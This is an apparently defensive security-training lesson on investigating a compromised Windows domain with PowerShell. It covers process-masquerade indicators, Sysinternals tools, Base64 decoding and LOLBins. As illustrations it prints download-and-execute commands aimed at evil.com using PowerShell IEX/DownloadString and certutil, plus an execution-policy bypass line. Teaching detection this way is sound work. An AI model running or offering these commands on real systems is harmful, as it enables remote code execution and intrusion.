"Digging Deeper" — PowerShell Investigation & Process Analysis
Armed with PowerShell, you dig into t.manning's activity across the domain. Then you examine Marcus's laptop and find the smoking gun — a fake svchost.exe running a Base64-encoded reverse shell.
PowerShell Fundamentals
PowerShell is not just another command line — it is a complete scripting and automation framework built on the .NET runtime. While the traditional Command Prompt (cmd.exe) works with text strings, PowerShell works with objects. This distinction is fundamental. When you run Get-Process, PowerShell does not return a wall of text — it returns a collection of Process objects, each with properties like Name, Id, CPU, Path, and WorkingSet64. You can filter, sort, transform, and export those objects without ever parsing text.
Cmdlets follow a strict Verb-Noun naming pattern. The verb describes the action (Get, Set, New, Remove, Start, Stop, Invoke), and the noun describes the target (Process, Service, ADUser, WinEvent). This consistency means you can guess command names: if Get-Process lists processes, then Get-Service probably lists services — and it does.
The Pipeline (|) is what makes PowerShell powerful. It passes objects from one cmdlet to the next. Unlike Unix pipes that pass text, PowerShell pipes pass structured objects with all their properties intact. A typical investigation command chains several cmdlets together:
Get-Process | Where-Object {$_.CPU -gt 100} | Select-Object Name, Id, CPU | Sort-Object CPU -Descending | Format-Table
This command gets all processes, filters to those consuming more than 100 CPU seconds, selects three properties, sorts by CPU usage descending, and formats as a table. Each | passes objects — not text — to the next cmdlet.
Key Pipeline Cmdlets:
Where-Object { }— Filters objects by condition. The$_variable represents the current object. Comparison operators:-eq(equals),-ne(not equal),-gt(greater than),-lt(less than),-like(wildcard match),-match(regex match),-contains(collection contains value),-notlike,-notmatch.Select-Object— Picks specific properties from objects. Use-First Nto take only the first N results. Use-ExpandPropertyto unwrap a single property's value.Sort-Object— Sorts by a property. Add-Descendingfor reverse order.Format-Table— Displays output as a formatted table. Use-AutoSizefor compact output,-Wrapfor long values.Format-List— Displays output as a vertical list (one property per line). Best for viewing many properties on a single object.Export-Csv— Exports objects to a CSV file for analysis in Excel or other tools. Example:Get-Process | Export-Csv processes.csv.
C:\Users\ is one line: Get-Process | Where-Object {$_.Path -like "C:\Users\*"}. In the old cmd.exe world, you would need tasklist piped through findstr and would likely miss edge cases.
PowerShell for Investigation
The following cmdlets form your core investigation toolkit. Each one queries a different data source on the system. During an incident, you will chain these together to follow the trail of a compromised account or suspicious process.
| Cmdlet | Purpose | Example |
|---|---|---|
Get-WinEvent -FilterHashtable |
Query Windows event logs. The -FilterHashtable parameter accepts a hashtable with keys like LogName, Id, StartTime, and ProviderName. Far more efficient than Get-EventLog because filtering happens at the provider level. |
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} |
Get-ADUser -Properties * |
Query Active Directory for user account details. By default, Get-ADUser returns only a limited set of properties. Add -Properties * to get everything — account status, last logon date, password last set, group memberships, description, and more. |
Get-ADUser t.manning -Properties * |
Get-ADGroupMember |
List all members of an Active Directory group. Use -Recursive to include members of nested groups. Critical for answering "who has admin access?". |
Get-ADGroupMember "IT-Admins" -Recursive |
Get-ScheduledTask |
List all scheduled tasks on a system. Attackers frequently create scheduled tasks for persistence — they survive reboots and run automatically. Pipe to Where-Object to filter by state or task name. |
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} |
Get-Process |
List running processes with details including PID, CPU time, memory usage, and file path. The .Path property reveals where the executable lives on disk — critical for detecting masquerading processes. |
Get-Process | Where-Object {$_.Path -notlike "C:\Windows\*"} |
Get-Service |
List Windows services with their current status (Running, Stopped) and startup type (Automatic, Manual, Disabled). Services are a common persistence mechanism. | Get-Service | Where-Object {$_.Status -eq 'Running'} |
Get-ChildItem -Recurse -Force |
Search the file system recursively. The -Force flag includes hidden and system files. Use -Filter or -Include to search for specific file types. |
Get-ChildItem C:\Users\ -Recurse -Force -Filter *.exe |
Get-FileHash |
Compute cryptographic hash (SHA256, SHA1, MD5) of a file. Use to verify file integrity or compare against known-good hashes. Two files with the same SHA256 hash are identical; different hashes mean different files. | Get-FileHash C:\suspect.exe -Algorithm SHA256 |
Get-NetTCPConnection |
Display active TCP connections with local/remote addresses, ports, state, and the owning process ID. The PowerShell equivalent of netstat -ano but with proper object output for filtering. |
Get-NetTCPConnection | Where-Object {$_.RemotePort -eq 4444} |
Select-String |
Search for text patterns in files — the PowerShell equivalent of grep. Supports regex patterns. Use -Path with wildcards to search across multiple files. |
Select-String -Path C:\Logs\*.log -Pattern "t.manning" |
Invoke-Command |
Execute a command on one or more remote computers using PowerShell Remoting (WinRM). Returns objects from the remote machine. Essential for investigating multiple systems from one console. | Invoke-Command -ComputerName MD-WEB01 -ScriptBlock {Get-Process} |
Enter-PSSession |
Start an interactive PowerShell session on a remote computer. Your prompt changes to reflect the remote machine. Use Exit-PSSession to return to the local machine. |
Enter-PSSession -ComputerName MD-WEB01 |
Execution Policies
PowerShell Execution Policies control which scripts are allowed to run. They are a safety net against accidentally running untrusted scripts — but they are not a security boundary. An attacker with console access can bypass them trivially. Still, understanding them is essential because they explain why a legitimate script might refuse to run, and they appear in investigation findings.
| Policy | Scripts Allowed | Use Case |
|---|---|---|
| Restricted | No scripts can run. Individual commands at the prompt still work. | Default on Windows client machines. Maximum safety but prevents automation. |
| AllSigned | Only scripts signed by a trusted publisher can run. Prompts for unknown publishers. | Enterprise environments where all scripts must be code-signed by IT. |
| RemoteSigned | Local scripts run freely. Scripts downloaded from the internet must be signed. | Default on Windows Server. Good balance of safety and convenience. |
| Unrestricted | All scripts run. Warns (but does not block) scripts downloaded from the internet. | Development environments. Not recommended for production. |
| Bypass | Nothing is blocked, nothing is warned. All scripts run silently. | Used programmatically when a parent application runs PowerShell scripts. Attackers use -ExecutionPolicy Bypass to dodge restrictions. |
powershell -ExecutionPolicy Bypass -File malware.ps1, by piping script content directly to PowerShell, or by using -EncodedCommand with a Base64-encoded script block. The Meridian attacker used -EncodedCommand precisely for this reason.
Process Analysis — Hunting the Fake
When you suspect a process is malicious, you need to check several indicators systematically. A single red flag might be benign, but multiple red flags on the same process is a strong signal. Here is what to examine:
| Indicator | What to Check | Legitimate Example | Suspicious Example |
|---|---|---|---|
| Parent-Child Relationship | Every process has a parent. Certain system processes should only have specific parents. An unexpected parent means something spawned the process abnormally. | svchost.exe spawned by services.exe (PID 684) |
svchost.exe spawned by explorer.exe or cmd.exe |
| Executable Path | System processes live in specific directories. Any system process running from an unusual path is immediately suspicious. | C:\Windows\System32\svchost.exe |
C:\Users\m.chen\AppData\Local\Temp\svchost.exe |
| Running User | System processes run as SYSTEM, LOCAL SERVICE, or NETWORK SERVICE. User-level system process names are wrong. | svchost.exe running as NT AUTHORITY\SYSTEM |
svchost.exe running as MERIDIAN\m.chen |
| Command-Line Arguments | Legitimate svchost.exe always runs with -k <servicegroupname>. PowerShell with -EncodedCommand or -nop -w hidden is highly suspicious. |
svchost.exe -k netsvcs -p |
powershell.exe -nop -w hidden -EncodedCommand cG93... |
| Network Connections | Does the process maintain unusual outbound connections? System processes rarely connect to external IPs. A process connecting to an unfamiliar IP on an unusual port is suspect. | DNS client connecting to 10.10.10.10:53 (internal DNS) | svchost.exe connecting to 203.0.113.42:4444 (external) |
| Loaded DLLs | Unexpected DLLs loaded into a process can indicate DLL injection or side-loading. Look for DLLs loaded from Temp directories or user profiles. |
DLLs from C:\Windows\System32\ |
DLLs from C:\Users\m.chen\AppData\ |
| Digital Signature | Legitimate Microsoft binaries are signed with a Microsoft code-signing certificate. Use Get-AuthenticodeSignature or Sigcheck to verify. |
Signed: CN=Microsoft Windows, O=Microsoft Corporation |
Not signed, or signed by an unknown publisher |
svchost.exe on MD-WS-ENG05 hits every red flag: wrong path (C:\Users\m.chen\AppData\Local\Temp\), wrong user (MERIDIAN\m.chen instead of SYSTEM), wrong parent (not spawned by services.exe), active connection to 203.0.113.42:4444, and no valid digital signature. Any one of these would warrant investigation. All of them together is confirmation of compromise.
Sysinternals Suite — The Investigator's Toolkit
The Sysinternals Suite is a collection of advanced diagnostic and troubleshooting tools created by Mark Russinovich (now CTO of Microsoft Azure). These tools provide a depth of visibility into Windows internals that no built-in tool matches. Every Windows incident responder carries these in their toolkit.
| Tool | What It Does | Investigation Use |
|---|---|---|
| Process Explorer | An advanced Task Manager replacement. Shows a process tree with parent-child relationships, loaded DLLs, open handles, GPU usage, .NET assemblies, and VirusTotal integration. | Visualize the entire process tree to spot anomalous parent-child relationships. Right-click any process to check its properties, verify its digital signature, or submit its hash to VirusTotal. |
| Process Monitor | Real-time monitoring of file system, registry, network, process, and thread activity. Captures every operation at a granular level with microsecond timestamps. | Set filters to watch a suspicious process in real time. See every file it reads/writes, every registry key it touches, and every network connection it makes. Essential for understanding what malware actually does. |
| Autoruns | Shows every program configured to start automatically — Run keys, scheduled tasks, services, drivers, Winlogon entries, browser helpers, Winsock providers, and dozens more. | The definitive tool for finding persistence mechanisms. If an attacker has planted a backdoor that survives reboot, Autoruns will find it. Color-codes unsigned entries and integrates with VirusTotal. |
| TCPView | Real-time display of all TCP and UDP connections with the owning process name, PID, remote address, port, and connection state. A graphical netstat -ano that updates live. |
Watch for processes establishing connections to unknown external IP addresses. Immediately see which process is phoning home to a C2 server. |
| Strings | Extracts all printable strings (ASCII and Unicode) from a binary file. Does not execute the file — purely static analysis. | Reveal embedded IP addresses, URLs, registry paths, commands, or error messages inside a suspicious binary without running it. The fake svchost.exe might contain hardcoded C2 server addresses. |
| Sigcheck | Verifies the digital signature of files and reports the signer, timestamp, and whether the signature is valid. Can also submit hashes to VirusTotal. | Quickly distinguish a real Microsoft binary from a fake. If svchost.exe is not signed by Microsoft, it is not the real svchost.exe. |
Base64 Encoding — The Attacker's Cloak
Base64 is an encoding scheme that converts binary data (or text) into a string of printable ASCII characters. It uses a 64-character alphabet (A-Z, a-z, 0-9, +, /) plus = for padding. Base64 is not encryption — it provides zero security. Anyone can decode it instantly. Its legitimate purpose is to safely transmit binary data through text-only channels (email attachments, JSON payloads, data URIs).
Why do attackers use it? Not for security, but for obfuscation. A command like:
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/shell.ps1')"
...is immediately flagged by antivirus and security tools that scan command-line arguments for keywords like IEX, DownloadString, Net.WebClient. But Base64-encode that same command, and it becomes:
powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A...
To a naive scanner, that looks like random characters. The -EncodedCommand parameter tells PowerShell to decode the Base64 and execute the result. This is why security teams specifically monitor for -EncodedCommand and -e (its alias) in process command lines.
Decoding in PowerShell:
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAGwAaQBlAG4AdAA...'))
-EncodedCommand uses Unicode (UTF-16LE) encoding, not UTF-8. This means you must use [System.Text.Encoding]::Unicode to decode it properly. Using UTF-8 will produce garbled output. The attacker may also use UTF-8 for other payloads — check both if the first decode attempt produces garbage.
LOLBins — Living Off the Land
LOLBins (Living Off the Land Binaries) are legitimate, Microsoft-signed executables that attackers repurpose for malicious activity. Because they are trusted system binaries, they bypass application whitelisting, do not trigger antivirus alerts, and blend into normal system activity. The attacker brings no tools of their own — they use Windows against itself.
powershell.exe. It can download files, execute remote scripts, encode/decode data, access the registry, manage services, and communicate over the network — everything an attacker needs, in a single trusted binary.
Common LOLBins used by attackers include:
powershell.exe— Execute arbitrary scripts, download payloads, establish reverse shells. The Meridian attacker used it with-EncodedCommandto hide the payload.certutil.exe— A certificate utility that can also download files from the internet (certutil -urlcache -f http://evil.com/payload.exe payload.exe) and encode/decode Base64.mshta.exe— Executes HTML Applications (.hta files), which can contain VBScript or JavaScript that runs with full user privileges.rundll32.exe— Executes DLL functions. Attackers use it to run malicious DLLs or execute JavaScript viarundll32 url.dll,FileProtocolHandler.schtasks.exe— Creates scheduled tasks for persistence. The Meridian attacker used this to schedule the Base64 PowerShell reverse shell to run every day at 2 AM.wmic.exe— Windows Management Instrumentation command-line tool. Can execute processes, query system information, and even run code on remote machines.
-EncodedCommand, -nop, -w hidden, IEX, DownloadString, -urlcache. Windows Event ID 4104 (PowerShell Script Block Logging) captures the decoded commands, defeating Base64 obfuscation entirely.
The PowerShell Pipeline — Objects, Not Text
Click any stage in the pipeline to learn what happens at that step. Each stage passes objects with their full properties to the next stage.
Process Tree — Legitimate vs. Fake svchost.exe
Compare the legitimate svchost.exe process hierarchy (left, green) with the fake svchost.exe found on Marcus's laptop (right, red). Click any node for details.
User: NT AUTHORITY\SYSTEM
Args: -k netsvcs -p
Signed: Microsoft Corporation
User: NT AUTHORITY\NETWORK SERVICE
Args: -k NetworkService -p
User: MERIDIAN\m.chen
Args: (none)
Signed: NOT SIGNED
Network: 203.0.113.42:4444
Process Explorer View — MD-WS-ENG05 (Marcus's Workstation)
Click any process to inspect its properties, DLLs, and security context. The suspicious process is flagged in red.
X-Ray: PowerShell Investigation of t.manning
Walk through the step-by-step PowerShell investigation. Each command reveals another piece of the puzzle — from querying Active Directory to decoding the attacker's Base64 payload.
Security Lab: PowerShell Investigation & Process Analysis
Get-ADUser t.manning -Properties * | Select-Object Name,Enabled,LastLogonDate,PasswordLastSet,MemberOfGet-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | Where-Object {$_.Properties[5].Value -eq 't.manning'}Get-WinEvent -FilterHashtable @{LogName='Security';Id=5140} | Where-Object {$_.Properties[1].Value -eq 't.manning'}Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'}Get-ScheduledTask -TaskName "WindowsUpdate" | fl *[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAGwAaQBlAG4AdAAgAD0A...'))C:\Windows\ or C:\Program Files\. Look for anything running from user profile directories.Get-Process | Where-Object {$_.Path -notlike "C:\Windows\*" -and $_.Path -notlike "C:\Program Files\*"}wmic process where "name='svchost.exe'" get ProcessId,ExecutablePath,CommandLine